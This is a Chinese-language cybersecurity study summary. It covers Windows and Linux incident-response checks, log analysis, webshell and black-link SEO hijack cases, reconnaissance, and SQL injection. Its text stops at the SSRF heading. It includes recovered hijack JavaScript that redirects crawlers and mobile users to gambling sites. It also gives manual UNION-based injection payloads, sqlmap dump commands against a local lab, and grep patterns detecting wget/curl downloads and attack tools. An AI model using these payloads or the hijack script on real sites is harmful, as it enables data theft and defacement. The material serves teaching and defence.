网络安全学习总结

  1. 渗透测试方向
    信息收集技术精讲
    WEB渗透实战演练
    SSRF服务端请求伪造攻防实操
  2. 应急响应方向
    企业级应急响应流程解析
    Windows/Linux系统应急排查实战
    WEB日志分析与安全事件处置
  3. 护网攻防方向
    红队攻击战术剖析(HW攻击案例)
    蓝队防守策略与溯源技巧
    真实攻防对抗演练

1. 应急响应方向

1.1 应急响应流程

网络空间应急响应
是指在突发重大网络安全事件后对包括计算机运行在内的业务运行进行维持或恢复的各种技术和管理策略与规程。

image

应急响应流程
image

1.2 Windows应急排查

进程排查

  1. 使用任务管理器查看所有的进程,右击标签,可以选择查看PID、进程名称和启动命令。
    image
  2. 使用processhacker工具查看,右键标签页可以把进程启动命令调用出来查看,通过查看Description来简单判断进程签名是否异常,定位恶意进程
    image
  3. 使用火绒安全分析工具查看,通过查看公司名签名,判断进程是否为可疑进程
    image
  4. 使用Pchunter排查(平替工具YDArk)
    一些病毒它通过将恶意的DLL等注入到正常的系统进程中,达到隐藏自身的目的,可以使用Pchunter右键查看进程模块+校验文件签名(异常标红)进行排查
    查看explorer.exe的进程模块,也能看到其加载了sdbot.dll病毒体,对比其它模块,它显然不是Microsoft厂商的(文件厂商为空)
    image

网络连接排查

  1. 使用netstat -ano命令查看主机所有的网络连接。
    通过netstat -ano | findstr “过滤字符串”来过滤出指定网络连接。
    image
    image
  2. 使用processhacker工具查看网络连接,可以看到进程连接的IP
    image
  3. 使用火绒安全分析工具查看
    image
  4. 使用威胁情报(微步、Virustotal)分析IP是否为恶意IP
    image

启动项排查
使用autoruns可以查看主机的启动项、计划任务、服务,Logon为开机启动项、Scheduled Tasks为计划任务启动项、Services为服务启动项、WMI为WMI启动项(无文件攻击利用的启动项)。可以通过公司签名和文件路径组合判断启动项是否异常
image
通过启动项的签名和文件路径可以简单确认启动项是否为异常

  • 恶意病毒启动项通常没有签名,且文件路径必为绝对路径
  • 若启动项路径为相对路径、注册表路径等系统路径,通常为正常的系统启动项

最近打开文件排查
使用LastActivityView工具或userassistview工具查看Windows系统最近打开的文件或目录。

最近落地文件排查
使用everything搜索系统最近落地的文件或目录,选择搜索-高级搜索-创建时间选择需要搜索的时间范围
image

内存排查
使用SfabAntiBot搜索内存中的字符串,如主机访问了恶意域名,可以检索是哪个进程发起的访问,定位到进程名和进程ID。
image

账号排查
隐藏账号,加$结尾的账号均为隐藏账号
克隆账号,查看是普通用户,但是权限却是高权限或管理员权限
异常账号,非系统、业务、用户增加的账号
Guest账号,主要关注其启用情况
image
1、使用net user查看主机的账号(无法查看隐藏账号)
2、计算机管理-本地用户和组-用户查看系统的账号(可以查看隐藏账号)
3、使用D盾查看(克隆账号、隐藏账号)
image

工具下载地址
https://tools.my404.cn/
https://park74110.github.io/

Windows日志分类
windows日志主要分为三大类,用户可以通过查看日志来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。

事件类型 描述 文件名
系统 包含系统进程、设备磁盘活动等事件,记录设备驱动无法正常启动或停止、硬件失败、重复 IP 地址、系统进程的启动、停止及暂停等行为。 System.evtx
安全 包含安全性相关事件,如用户权限变更、登录及注销、文件及文件夹访问、打印等信息。 Security.evtx
应用程序 包含操作系统安装的应用程序软件相关事件,包括错误、警告及任何应用程序需要报告的信息,应用程序开发人员可以决定记录哪些信息。 Application.evtx

日志查看方法

  1. 开始->设置->控制面板->管理工具中找到"事件查看器"。
  2. [开始]->[运行]->输入eventvwr.msc
  3. 我的电脑——右键管理——事件查看器——windows日志
    image

常见的事件ID

安全日志事件ID 说明
1102 清理审计日志
4624 账号成功登录
4625 账号登录失败
4768 Kerberos 身份验证(TGT 请求)
4769 Kerberos 服务票证请求
4776 NTLM 身份验证
4672 授予特殊权限
4720 创建用户
4726 删除用户
4728 将成员添加到启用安全的全局组中
4729 将成员从启用安全的全局组中移除
4732 将成员添加到启用安全的本地组中
4733 将成员从启用安全的本地组中移除
4756 将成员添加到启用安全的通用组中
4757 将成员从启用安全的通用组中移除
4719 系统审计策略修改
应用程序日志ID 说明
5084 数据库选项 TRUSTWORTHY 设置
8182 执行扩展存储过程
18453 Windows 系统账户登录成功
18454 SQL Server 账户登录成功
18456 SQL Server 账户登录失败(客户端登录数据包结构错误,常见于空间测绘扫描)
17832 触发客户端登录数据包结构错误
15457 配置更改记录(如 xp_cmdshell 等配置变更)
33090 尝试加载扩展 DLL 到内存(攻击者恢复被删除的 xp_cmdshell 等扩展存储过程时记录)
17137 启动数据库(包括新建数据库的启动)

在应急过程中,我们重点关注登录类型为10(RDP)、3(SMB)、2(控制台)的登录。

登录类型 描述
2 交互式登录(用户从控制台登录)
3 网络登录(例如:通过 net use 访问共享网络)
4 批处理登录(为批处理程序保留)
5 服务启动(服务登录)
6 不支持
7 解锁(带密码保护的屏幕保护程序的无人值班工作站)
8 网络明文登录(IIS 服务器登录验证)
10 远程交互登录(终端服务、远程桌面、远程辅助)
11 缓存域证书登录

事件查看器筛选日志
可以根据事件ID(4624、4625等)、关键字 (审核成功、审核失败)进行筛选查看
image
image

使用evtxLogparse查看
使用帮助
image
RDP登录成功(evtxLogparse.exe -r success Security.evtx)
image
RDP登录失败(evtxLogparse.exe -r fail Security.evtx)
image
SMB爆破成功(evtxLogparse.exe -s success Security.evtx)
image
SMB爆破失败(evtxLogparse.exe -s fail Security.evtx)
image

1.3 LINUX应急排查

history排查
root用户的历史命令可以通过history命令进行查看。
其他用户的历史命令,需要进入到/home/【用户名】/目录下,查看.bash_history文件
image
历史下载的脚本
(more /root/.bash_history | grep -E "((wget|curl).*\.(sh|pl|py)$)" | grep -v grep
历史增加的账号
history | egrep "(useradd|groupadd)" | grep -v grep
可疑历史命令:使用过的入侵扫描类的操作行为
history | grep -E "(whois|sqlmap|nmap|beef|nikto|john|ettercap|frp|proxy|nps|msf)" | grep -v grep
历史本地下载文件
history | grep sz | grep -v grep | awk '{print $3}'

网络连接排查
使用netstat -pantul可以查看当前主机的tcp/udp连接
需要区分是主机连接外网IP还是外网连接主机的端口,如果存在多个IP连接某IP一个端口的情况,属于其他IP在连接此IP端口;
image
如果使用netstat -pantul看不到异常网络连接,可以修改/etc/hosts文件,将解析的恶意域名指向某个IP(如2.2.2.2),然后再使用netstat -pantul可能可以看到发起网络连接的进程。
lsof -i 查看网络连接占用进程的信息
lsof -p [pid] 查看进程对应的信息,主要是看加载了哪些文件
lsof -i:22 -PnR 查看端口连接情况,可以查看到发起的半连接,比如外发DOS攻击,还可查看父子进程

进程排查
查看当前运行的进程,寻找可疑文件名进程
ps -ef(可查看父子进程,PID:当前进程 PPID:父进程)
ps -aux
ps -ajxf 以树状结构显示进程
image
ls -alt /proc/[pid]/exe 查看某个进程对应的可执行文件路径
kill -9 [PID] 结束某进程
top(排查挖矿进程首选命令)
显示实时进程状态,加-d 1,可修改刷新时间,默认为3秒
top命令后,输入大写的P,按CPU排序
top命令后,输入大写的M,按内存排序
输入q退出top
只显示一次所有进程信息
top -b -n 1
image

启动项排查
优先查看/etc/init.d/目录下有没有最近创建的文件和目录,使用stat [文件名/目录名]可以看到文件的创建时间;
ls -alt /etc/init.d/
image
ls -alt /etc/rc.local
ls -alt /etc/rc[0~6].d
查看/etc/rc*.d/文件夹下的内容
image

计划任务排查
定时任务配置文件保存于/etc/cron*开头路径里
/var/spool/cron/ 是用来存放用户的计划任务
/etc/cron.d/ 存放计划任务的目录
/etc/cron.daily/ 存放每天需要执行的任务
/etc/cron.hourly/ 存放每小时需要执行的任务
/etc/cron.monthly/ 存放每月需要执行的任务
/etc/cron.weekly/ 存放每周需要执行的任务
/etc/cron.deny 存放拒绝谁执行计划任务
image
查看当前用户的计划任务:crontab -l
查看所有用户的计划任务:
for user in `cat /etc/passwd | awk -F: '{print $1}'`;do crontab -l -u $user; done
image

服务排查
查看系统有哪些服务:ls -alt /lib/systemd/system/
找到通过什么服务拉起的进程:systemctl status PID
image
如进程反复被拉起,也没有启动项和计划任务,则需
排查下是否是服务拉起的
image

最近落地的文件排查
查指定时间新建的文件
find / -type f -newermt "2024-10-1 00:00:00" ! -newermt "2024-10-7 23:59:59"
image
查找七天内被修改的以php为后缀的文件,七天前就是+7
find /var/www -mtime -7 -iname "*.php" | xargs ls -alt

查找七天内被访问的以php为后缀的文件,如cat file就会修改该时间。
find /var/www -atime -7 -iname "*.php" | xargs ls -alt
 
查找七天内被改变的以php为后缀的文件。
find /var/www -ctime -7 -iname "*.php" | xargs ls -alt

通过stat可查看文件属性,主要是时间属性
whereis netstat
stat /usr/bin/netstat
1)当仅读取或访问文件时,access time 改变,而modify time ,change time 不会改变。
2)当修改文件内容时,modify time ,change time 会改变,access time 不一定改变。
3)当修改文件权限属性时,change time 改变,而access time ,modify time 不会改变。

ROOTKIT排查
使用rkhunter和chkrootkit工具进行排查
rkhunter

Wget https://sourceforge.net/projects/rkhunter/files/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz/downloadtar tar -zxvf rkhunter-1.4.4.tar.gz
cd rkhunter-1.4.4
./installer.sh --install
rkhunter -c

chkrootkit

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar -zxvf chkrootkit.tar.gz
cd chkrootkit-0.52
make sense

编译完成没有报错的话执行检查
./chkrootkit

内存排查
使用memsearch工具
检索所有进程中是否包含指定字符串:./memsearch grep "检索的字符串"
指定进程检索字符串:./memsearch -p PID grep "检索的字符串"
image

用户排查
查看已登录用户:w
检查是否有UID为0的用户,这一步主要是为了攻击者克隆了一个超级用户来登录。
more /etc/passwd | egrep -v '^#|^(\+:\*)?:0:0:::' | awk -F: '{if($3==0) print $1}'
检查UID相同的用户,防止克隆用户:
awk -F: '{a[$3]++}END{for(i in a)if(a[i]>1)print i}' /etc/passwd
先查看哪些用户是可以登录的:
cat /etc/passwd | grep -E "/bin/(bash|sh)$" | awk -F: '{print $1}'
然后看可登录的用户的ssh密钥,在/root/.ssh/authorized_keys和/home/用户名/.ssh/authorized_keys,如下图,证明存在admin账号的ssh密钥。
image
查看空口令,查看shadow,影子文件会保存密码信息,如果第二列为空,则表示无密码。
gawk -F: '($2=="") {print $1}' /etc/shadow
排查是否允许空口令登录:more /etc/ssh/sshd_config |grep PermitEmptyPassword | grep -v "#"
排查除root用户外,root组是否还有其他用户:more /etc/group | grep -v '^#' | gawk -F: '{if ($1!="root"&&$3==0) print $1}'

日志介绍
Linux日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
image

命令工具

  • awk
    awk是一个强大的文本分析工具,使用-F参数指定分隔符。
    如指定冒号作为分隔符 awk -F:
    如指定空格作为分隔符 awk -F ' ',此时也可省略。
    image
  • cut
    显示每行从开头算起 num1 到 num2 的文字。
    -d,自定义分隔符,默认为制表符
    -f ,常与-d一起使用,指定显示哪个区域
    -b,以字节为单位分割,如-b 2,3,-b 2-5 等
    image
  • grep
    -v,反选,排除www和test用户(用反斜杠\ 来转译|): grep -v "www|test"
    -E,将样式为延伸的正则表达式来使用:grep -E "sshd:session.session opened"
    如grep -E "sshd:session.
    session opened",匹配到了 sshd:session): session opened
    image
  • sort
    sort,以默认方式对第一列以ASCII码次序排序
    -n,依照数值大小排序
    -r ,以相反的顺序来排序
    image
  • uniq
    uniq,检查文本文件中重复出现的行列。
    -c,在第一列显示重复出现的次数
    要注意sort和uniq的顺序,要注意sort排序的是关键字,还是排序关键字出现的次数
  • wc
    wc -l,统计次数

日志分析

  • 主要是针对系统层面的日志进行分析
  • 可利用shell来自动化检测
  • 主要放在/var/log/目录下:
    /var/log/secure:安全日志
    /var/log/cron:定时任务日志
    /var/log/yum.log:软件安装卸载日志
    /var/log/maillog:邮件相关
  • /var/log/lastlog
    二进制文件,需使用lastlog查看,记录系统中所有用户最后一次登录的日志。
    image
  • /var/log/btmp
    二进制文件,使用lastb命令查看,记录错误登录日志(登录失败日志)。
    image
  • /var/log/utmp
    二进制文件,使用w/who/users命令查看,只记录当前已登录的用户信息。
    image
  • /var/log/wtmp
    二进制文件,需使用last命令查看。永久记录所有用户登录、注销信息、开关机重启时间、登录IP。still logged in 表示当前在线。
    image
  • 所有用户登录:
    last | grep pts | grep –vw :0
    image
  • 关机、重启事件:
    last -x shutdown
    last -x reboot
    image
  • 登录成功:
    Apr 10 21:49:00 localhost sshd[18473]: Accepted password for root from 11.11.11.11 port 2099 ssh2
  • 登录失败(密码错误):
    Apr 10 21:50:55 localhost sshd[18856]: Failed password for root from 11.11.11.11 port 2213 ssh2
  • 登录失败(无效用户):
    Apr 10 10:59:45 localhost sshd[26989]: Failed password for invalid user samba from 176.113.115.82 port 30901 ssh2
    image

登录成功
Apr 10 21:49:00 localhost sshd[18473]: Accepted password for root from 11.11.11.11 port 2099 ssh2

  • 登录成功的时间、用户名、IP
    grep "Accepted" /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
    image
  • 登录成功的源IP、次数
    grep "Accepted" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
    image
  • 本机登录情况
    more /var/log/secure | grep -E "sshd:session.*session opened"
    image
  • 新增用户
    more /var/log/secure | grep "new user"
    image

登录失败

Apr 10 21:50:55 localhost sshd[18856]: Failed password for root from 11.11.11.11 port 2213 ssh2
Apr 10 10:59:45 localhost sshd[26989]: Failed password for invalid user samba from 176.113.115.82 port 30901 ssh2
  • 定位爆破root账户的IP和次数
    grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
  • 爆破不存在的用户名(收集用户名字典)
    grep "invalid" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
  • 筛选爆破失败的IP和次数
    grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
  • 统计爆破次数
    grep "Failed password" /var/log/secure I wc -l
  • /var/log/messages
    传输文件:more /var/log/message* | grep "ZMODEM:.*BPS”
  • /var/log/cron
    查看定时任务日志:more /var/log/cron*
    查看定时执行脚本:more /var/log/cron* | grep -E ".py\(|\.sh\)|.pl$"
  • /var/log/yum.log
    下载软件情况:more /var/log/yum* | grep Installed
    卸载软件情况:more /var/log/yum* | grep Erased
    查看软件及版本:more /var/log/yum* | awk -F: '{print $NF}'
    查看可疑的工具:more /var/log/yum* | awk -F: '{print $NF}' | awk -F '[-]' '{print $1}' | sort | uniq | grep -E "(^nc|sqlmap|nmap|beef|nikto|john|ettercap|backdoor|msfcosole)"

日志分析工具
JOURNAL
一款实时的日志分析工具,不需要安装,系统自带
日志来源:内核、用户进程、标准输入和系统服务错误日志
对应的服务为systemd-journald
配置文件: /etc/systemd/journald.conf
image

  • 日志记录级别默认有8种:
    0: emerg、1: alert、2: crit、3: err、4: warning、5: notice、6: info、7: debug

  • 可以根据需求自己选择相应级别的日志: journalctl -p 3
    image

  • 显示实时日志:journalctl –f
    image

  • 支持多种输出格式:export、json、json-sse等
    image

  • 本地/var/log/secure日志被清除后仍可分析
    image
    image

  • 案例:/var/log/secure日志被清除,通过journal进行溯源分析,最终定位是通过ssh进入
    journalctl | grep "Accpeted password"
    image

1.4 WEB应急处置

什么是WEBSHELL
Webshell是一种交互式的网页后门文件。黑客在渗透网站服务器之后,为达到获得一个较为稳定的命令执行平台,会想方设法放置在服务器web目录下的一个拥有命令执行能力的网页文件。黑客会根据网站服务器所能解析的网页形式,或者所使用容器所能解析的特定文件形式,上传或写入能在该服务器环境下运行的带有后门的网页脚本文件。常见的文件后缀有:.asp,.aspx,.php(phtml、php5、PHP等),.jsp,.pl,.cgi,.cfm等。

  1. WINDOWS系统WEBSHELL查杀
    利用D盾进行Webshell查杀
    下载链接 https://www.d99net.net/ 【使用前注意更新规则库】
    显示级别的数字越大,是木马的可能性越大。级别3包括3以上的基本上为木马文件,3以下的可能是包含一些敏感函数,可疑文件建议打开查看代码内容,避免误报或遗漏。
    image

  2. LINUX系统WEBSHELL查杀
    使用河马进行Webshell查杀
    wget-O/opt/hm-linux.tgz http://dl.shellpub.com/hm/latest/hm-linux-amd64.tgz?version=1.7.0
    cd /opt/
    tar xvf hm-linux.tgz
    image
    通过磁盘映射到Windows系统,然后利用D盾查杀
    》先安装DokanSetup-1.0.5.1000,再安装WinSSHFS-1.6.1.13-deve
    》根据情况提示可能要安装VC环境Visual C++ Redistributable for Visual Studio 2015(x86)
    》运行winsshfs,以下红框位置是必填项。
    drive name:项目名称
    directory:服务器对应的目录
    drive letter:挂载到本地的磁盘,盘符号选一个没使用的即可,勾选mount at login的话,每次运行winssh会自动挂载,酌情使用。
    》设置完一定要先点save保存,否则无法更新配置,然后在点mount,这样在本地就可以看到服务器的目录了。
    》使用D盾扫描挂载到web目录即可

SSHFS下载 https://github.com/winfsp/winfsp/releases
Dokan下载 https://github.com/dokan-dev/dokany/releases
image

WEB日志路径
一般情况下,Web日志都在Web服务器安装目录下诸如logs之类的文件夹里。如果没有,可以通过配置文件或者搜索关键字如access来确定日志路径。

WEB日志分析技巧
》大部分情况下,Web日志的数量是非常多的,比如Tomcat会每天生成一个日志文件,每个日志文件可能都有上万条记录,手动查找效率比较低,建议将日志文件拷贝下来再使用工具进行分析。
》推荐工具:notepad++,https://notepad-plus-plus.org/downloads/ notepad++具有在目录中对所有文件进行查找的功能,支持正则匹配,可以在大量的日志文件查找自己想要的内容。可以通过以下方法提高搜索效率:
(1)用D盾对整个Web目录的文件进行扫描,如果发现木马文件,可以根据其文件名和创建时间进行搜索。Linux下用D盾可以参考这篇文章:https://anfu.atrust.sangfor.com/index.html#/article?id=3259 不要用河马Webshell查杀,效果非常差。
(2)搜索一些常见的攻击参数,如/etc/passwd,如果攻击者使用了扫描器,那么大概率会有相关攻击记录。
(3)攻击者进行扫描时会留下大量的404请求,可以搜索404状态码。
(4)其他可能的方法,比如有些系统的管理员后台,会在登录后记录登录的时间或IP。通过正则匹配查找访问时间为9点40分到10点的日志:
image

WEB日志分析案例

  1. 查看日志发现大量的404记录,通过其请求的URL可以看到是在进行扫描
    image
  2. 对192.168.139.131进行检索,发现其进行了大量扫描,并在manager目录返回几次401未授权后,随即登录Tomcat后台成功,用户名为admin:
    image
  3. 随后发现其开始一直访问user.jsp和manage.jsp,猜测攻击者通过Tomcat的弱口令进入后台,随后通过部署war包的方式上传木马:
    image
  4. 查看对应文件发现是一个哥斯拉木马:
    image
  5. 使用admin/admin成功登录Tomcat后台,并在tomcat的web目录发现了user.war,成功确定猜测:
    image
    image

网站劫持原理
网站劫持是一个相对古老的技术,主要是黑帽用来做SEO用。实现网站劫持如以下步骤所示:

  1. 入侵相关网站;
  2. 在网站中插入JS或修改其配置文件,增加相应的劫持代码。另外一般会加入判断条件,判断条件一般会根据user-agent或referer进行判断。大多数判断条件会判断是爬虫还是人工,如果是人工会返回正常的网站;如果是爬虫,会返回相关博彩、娱乐类等黑客设置好的网站;
  3. 爬虫去访问时,返回是相关博彩、娱乐类网站,导致收录的是黑客精心准备好的网站;黑帽SEO基本上都是给爬虫收录的,对于正常的人工访问会返回正常的内容,所以导致这种网站很难发现、并且其存留时间相对较长。

网站劫持手法
通过在实际工作中遇到的JS脚本来阐述JS劫持来实现跳转的方法。该JS脚本综合运用了判断IP归属地、UA、referer来进行跳转判断

var jump_myt = setlnterval(function () {
    if (remote_ip_info) {
        clearInterval(jump_myt);
        if (remote_ip_info.province == '安徽' || remote_ip_info.province == '\u5b89\u5fbd' || remote_ip_info.city == '\u5317\u4eac' || remote_ip_info.city == '北京') {
            window.location.href = 'http://www.anhui365.net/404.html';
        }
        else {
            window.location = 'http://m.an888.top/';
        }
    }
})
  • 判断referer
    若referer关键字为:baidu、google、yahoo、bing、soso、360等搜索引擎爬虫,当爬虫去访问时会调用browserRedirect()函数。browserRedirect()函数主要用来实现跳转判断。
function go_bots_url() {
    var init_flag = "93989";
    var bct  = document.referrer;
    var bots = ['baidu', 'google', 'yahoo', 'bing', 'soso', 'sogou',
                '360.cn', 'so.com', 'youdao', 'anquan', 'sm.cn', 'haosou'];

    for (var i = 0; i < bots.length; i++) {
        if (bct.indexOf(bots[i]) !== -1) {
            init_flag = "1245";
            browserRedirect();
            break;            // 找到即可跳出循环
        }
    }

    if (init_flag === "93989") {
        call_init_error();    // 循环外统一判断
    }
}
  • 判断user-agent
    如果相应的user-agent匹配关键字ipad、iphone os、midp、ucweb、android等移动端设备时则会跳转到http://m.an888.top/ 这个博彩站点
function browserRedirect() {
    var sUserAgent = navigator.userAgent.toLowerCase();
    var blsIpad = sUserAgent.indexOf('ipad') !== -1;
    var blsIphoneOs = sUserAgent.indexOf('iphone os') !== -1;
    var blsMidp = sUserAgent.indexOf('midp') !== -1;
    var blsUc7 = sUserAgent.indexOf('rv:1.2.3.4') !== -1;
    var blsUc = sUserAgent.indexOf('ucweb') !== -1;
    var blsAndroid = sUserAgent.indexOf('android') !== -1;
    var blsCE = sUserAgent.indexOf('windows ce') !== -1;
    var blsWM = sUserAgent.indexOf('windows mobile') !== -1;

    if (blsIpad || blsIphoneOs || blsMidp || blsUc7 || blsUc || blsAndroid || blsCE || blsWM) {
        window.location.href = 'http://m.an888.top/';
    } else {
        window.location.href = 'http://m.an888.top/';
    }
}

// 调用函数
browserRedirect();

网站劫持现象
当网站被黑客入侵并作为SEO使用时,一般的表现是通过人工访问并无法直接打开,需要通过改变浏览器的user-agent及referer时才可以重现相应的劫持页面。页面被劫持一般表现是下面这样子的:

  1. 植入寄生虫程序
    image
  2. 插入推广内容
    image
  3. 页面跳转
    image

黑链检测方法
使用谷歌语法进行检测:site:www.xxx.com博彩
image
使用站长工具检测 https://tool.chinaz.com/webscan
image

黑链处置方法
1、复现黑链存在的现象(搜索引擎复现、多地域访问、终端及服务器端抓包)。
2、确认页面劫持的节点。
3、根据被篡改的情况恢复数据或配置。
4、排查webshell等异常文件
5、分析web日志找到入侵原因
6、根据原因提供加固建议,指导客户进行加固

黑链处置案例
案例背景
2017年11月15日晚上22点02分53s某客户通过网站后台发布文章,出现了篡改,情况是批量的index.html文件被篡改,排查过程如下
排查方法

  1. 通过百度搜索,发现网站首页被篡改为澳门银座。
    image
  2. 排查网站的页面情况,发现网站首页index.html直接就被篡改了,不只这一个页面被篡改,几乎每个目录里面的index.html都被篡改了
    image
  3. 通过D盾的文件监控功能,监控文件的生成和修改等情况
    image
  4. D盾监控到22点02分54s文件tempnews1.php文件最先被修改,注意这里是修改,如下图所示
    image
    D盾监控里面详情是显示这个文件被修改,只是头部插了js字段,里面有黑链URL www.aomyz666.com,说明这个文件原本就有,不是新增的,更加不是webshell,而且扫描了整个网站目录,没有发现任何webshell再看22点02分54s同时篡改的1059.html,篡改情况也是和上面那个文件一样,头部插入了js,但是注意这个文件是先新增,然后篡改,然后删除的,有这三个过程,后面22点10分34s 39s等都相继做了篡改操作。分析客户的行为,客户表示11月15日22点左右他是登录过后台操作的,先后的行为是
    (1)22点左右,登录后台在新增中心-重要公告-新增了一个带附件测试公告测试能否发送,结果是不能发送。
    (2)于是就新增了一个不带附件的公告,发布成功了。
    (3)22点20之后,客户联系到当地渠道把防火墙策略关闭,然后测试带附件的公告就发送成功了,并且删除了
    以下是客户登录后台的时间,x.x.x.x是客户的IP地址。
    image
    更加证实了和这个POST操作有关系,并且可以看到这个操作是明显在刷新页面
    image
    查看源码,该参数实现的功能的确是刷新页面
    image
  5. 此时基本确定是客户的这个操作触发了篡改,尝试模拟客户操作,看这个POST到底是在操作什么,登录后台,并且开启抓包,经过证实发现POST操作就是,在后台新增新闻成功的POST请求
    image
    提交请求,同时抓包,抓到post请求,证实新增新闻就是上面提到的POST请求
    image
    当成功新增新闻的时候,我这边查看d盾监控,发现怡怡同时更新了tempnews1.php文件以及新增了1059.html文件,并且都往头部插入了js黑链。
    image
    由此证明,这个黑链的产生,确实是由新增新闻的时候产生的,说明应该是模版出了问题,因为发现所有的篡改都是在头部插入了JS黑链。
  6. 最后根据搜索跳转的博彩网站www.aomyz666.com搜索全部的模板,在一个标题模版里面找到了黑链的源头,这个标题模版会被所有的html文件引用,这样导致修改新增任何一个HTML文件都会用这个模版来套用,从而导致大量html文件被批量篡改。
    image
    删除模板中的这段js,再次发文章,index.html网页不再被篡改

2. 渗透测试方向

2.1 信息收集

whois信息
Whois查看域名的当前信息状态,包括域名是否已被注册、域名当前所有者、所有者联系方式、注册日期、过期日期、域名状态、DNS解析服务器等
实测很鸡肋,大多差不到
image

目录扫描
御剑(除此之外还有diebuster、wwwscan、dirsearch等工具,重点在于字典)
image

指纹识别
云悉指纹识别: https://www.yunsee.cn 数字观星: https://fp.shuziguanxing.com
TideFinger,一个开源的指纹识别小工具,使用了传统和现代检测技术相结合的指纹检测方法,让指纹检测更快捷、准确。指纹识别的核心也在字典。
WhatWeb 是一款用于识别网站技术栈和特征的开源Web扫描工具。它可以自动分析网站的响应并识别出使用的Web框架、CMS、服务器、JavaScript库等技术组件。

子域名收集
子域名搜集维度

子域名搜集工具
OneForAll、teemo、Sublist3r、layer子域名挖掘机、...

搜索引擎技术

测绘平台搜索技术
以FOFA为例
title="关键词":从标题中搜索。
header="关键词":从HTTP头中搜索。
body="关键词":从HTML正文中搜索。
domain="域名":搜索根域名或子域名。
ip="IP地址":从IP中搜索。
host="主机名":从URL中搜索。
port="端口号":查找对应端口的资产。
protocol="协议类型":查询指定协议类型资产。
app="应用名称":搜索特定应用或设备。
os="操作系统":搜索特定操作系统的资产。
cert.subject.cn="域名":根据证书的通用名称搜索。
cert.subject.org="组织名称":根据证书的组织名称搜索。
cert="证书序列号":根据证书序列号搜索。
image

端口扫描+指纹识别

  • 端口扫描*
    Nmap:nmap -sS -p 1-65535 target(TCP SYN扫描)
    Masscan:超快的端口扫描工具,适合大规模扫描
    Zmap:面向互联网的大规模扫描工具

  • 服务识别与版本探测
    Nmap服务版本探测:nmap -sV target
    操作系统识别:nmap -O target
    image

复合型信息搜集工具
ENScan_GO,一款基于各大企业信息API的工具,解决在遇到的各种针对国内企业信息收集难题。一键收集控股公司ICP备案、APP、小程序、微信公众号等信息聚合导出。支持MCP接入。

2.2 SQL注入及SQLMAP使用

SQL注入产生的原理
SQL注入(SQL Injection)成因:数据和代码没有做到严格的分离,导致用户提交的参数没有经过检查过滤被代入到SQL命令中,被数据库成功调用执行,改变了原有SQL命令的执行结果。
如何触发SQL注入

  • Get参数触发SQL注入
  • POST参数触发SQL注入
  • Cookie触发SQL注入
  • 其他参与sql执行的输入都有可能进行SQL注入
    image

SQL注入的危害
SQL注入危害包括但不局限于:

  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  • 网页篡改:通过操作数据库对特定网页进行篡改。
  • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 破坏硬盘数据,瘫痪全系统。

一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。

按照数据类型分类
数字型注入:
http://www.test.com/test.php?id=1 and 1=1
SQL语句为:select * from table where id=1 and 1=1
字符型注入:
http://www.test.com/test.php?username='test' and '1'='1' --
SQL语句为:select * from table where username = 'test' and '1'='1' --,必须闭合字符串才可以继续注入

SQL手工注入
检测:and 1=1/and 1=2
查询字段数:order by 3
联合查询:union select 1,2,3
报错获取回显位:and 1=2 union select 1,2,3
收集常见信息:

version()            #MySQL版本
user()               #数据库用户名
database()           #当前数据库名
@@datadir            #数据库路径
@@version_compile_os #操作系统版本

查询所有数据库:and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata
查询表名:and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查询列名:and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"
查询数据:and 1=2 union select 1,2,group_concat(id,username,password) from users
image

使用SQLMAP注入

  1. 安装python环境
    2.下载sqlmap压缩包直接解压到python根目录下,下载地址http://sqlmap.org/
    image
    3.进入sqlmap文件夹,cmd运行输入命令python2 sqlmap.py或者python2 sqlmap.py -h检验是否成功,出现如图所示界面就代表成功了。
    image

GET型注入
sqli-labs 第一关
注入方法:
判断注入:python sqlmap.py -u 127.0.0.1/sql/less-1/?id=1
获取当前数据库:python sqlmap.py -u 127.0.0.1/sql/less-1/?id=1 --current-db
获取表:python sqlmap.py -u 127.0.0.1/sql/less-1/?id=1 -D security --tables
获取列:python sqlmap.py -u 127.0.0.1/sql/less-1/?id=1 -D security -T users --columns
获取指定列的数据:python sqlmap.py -u 127.0.0.1/sql/less-1/?id=1 -D security -T users -C username,password --dump

POST型注入
sqli-labs 第11关
注入方法一:
指定其data 参数,--data 能够抓取post提交的数据填入
python sqlmap.py -u 127.0.0.1/sql/less-11/?id=1 --data "uname=admin&passwd=admin&submit=Submit"

注入方法二:
(1)登录提交表单时使用burpsuit进行抓包,数据包保存到本地的1.txt(随便命名)文件中
(2)使用-r参数,跑数据包
python sqlmap.py -r c:\1.txt

COOKIE型注入
sqli-labs 第20关
注入方法:
(1)提交登录表单,使用burpsuit进行抓包,可以看到登录数据写在cookie中,Cookie:uname=admin
(2)使用--cookie参数,指定cookie进行注入
python sqlmap.py -u 127.0.0.1/sql/less-11/?id=20 --cookie="uname=admin" --level 3

level参数说明
--level: 测试的等级,5表示级别最高的测试,level 2开始会测试cookie值,建议指定高一点

2.3 SSRF服务端请求伪造方法与实操

什么是SSRF
